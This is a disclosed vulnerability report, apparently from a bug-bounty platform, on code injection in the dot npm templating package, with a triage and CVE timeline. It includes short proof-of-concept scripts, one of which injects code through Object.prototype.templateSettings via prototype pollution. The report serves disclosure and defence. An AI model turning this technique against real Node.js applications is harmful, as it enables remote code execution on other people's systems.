4 Code Injection Vulnerability in dot Package

Share:

TIMELINE

ris_semmle submitted a report to Node.js third-party modules. Aug 6th (4 ye

I would like to report a code injection vulnerability in dot.
It allows attackers to execute arbitrary JS code, especially when combined with a prototype pollution attack.

Module

module name: dot
version: 1.1.2
npm page: `https://www.npmjs.com/package/dot`

Module Description

Created in search of the fastest and concise JavaScript templating function with emphasis on performance under V8 and nodejs. It shows great performance for b
nodejs and browsers.

doT.js is fast, small and has no dependencies.

Module Stats

76,838 downloads in the last week

Vulnerability

Vulnerability Description

dot uses Function() to compile templates. this can be exploited by the attacker if she can control the template or if she can control the value set on Object.prototy

Steps To Reproduce:

a) The basic attack vector

Code 131 Bytes Wrap lines Copy Dow

```
var doT = require("dot");
var tempFn = doT.template("<h1>Here is a sample template " +
    "{{=console.log(23)}}</h1>");
tempFn({})
```

b) in combination with a prototype pollution attack

- create a folder "resources" and inside that a file called "mytemplate.dot" with the following content:

Code 34 Bytes Wrap lines Copy Dow

```
<h1>Here is a sample template</h1>
```

- in the folder containing the resources folder, create and execute the following js file

Code 267 Bytes Wrap lines Copy Dow

```
var doT = require("dot");
// prototype pollution attack vector
Object.prototype.templateSettings = {varname:"a,b,c,d,x=console.log(25)"};
// benign looking template compilation + application
var dots = require("dot").process({path: "./resources"});
dots.mytemplate();
```

Even though the template compilation + application looks safe, due to the prototype pollution, the attacker can execute arbitrary commands.

Patch

N/A remove Function() call

Wrap up

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Impact

The attacker can achieve code injection/RCE if she can control the template or if she can set arbitrary properties on Object.prototype. Using Function() with runti
computed values is rarely safe.

DOT: vdeturckheim_dev posted a comment. Aug 6th (4 ye

Hello,
Thanks for reporting this to us. Someone will quickly look at this report and triage it.

dagonza posted a comment. Sep 10th (4 ye

dagonza changed the status to **Triaged**. Sep 10th (4 ye

is_semmle posted a comment. Dec 5th (4 ye
@dagonza, have you been able to contact the authors yet?

dagonza posted a comment. Dec 6th (4 ye
Yes, but I couldn't get a reply from their email. I will proceed with this report. Sorry for the delay as I have been extremely busy.

dagonza closed the report and changed the status to **Resolved**. Dec 6th (4 ye

is_semmle posted a comment. Jan 20th (4 ye
What are your plans for proceeding with this report? (It is currently marked as "Resolved", but is still private.)

is_semmle posted a comment. Feb 25th (4 ye
Ping @dagonza, where are we with disclosing this report and/or getting a CVE?

dagonza posted a comment. Mar 4th (4 ye
Sorry for the delay. I am on it right now.

dagonza requested to disclose this report. Mar 4th (4 ye

dagonza posted a comment. Mar 4th (4 ye
CVE requested. Should be added in few days.

dagonza changed the scope from **Other module** to **dot**. Mar 4th (4 ye

is_semmle posted a comment. Mar 4th (4 ye
Great, thank you!

This report has been disclosed. Apr 3rd (4 ye

is_semmle posted a comment. Jun 4th (4 ye
Hi @dagonza, how did your CVE request go?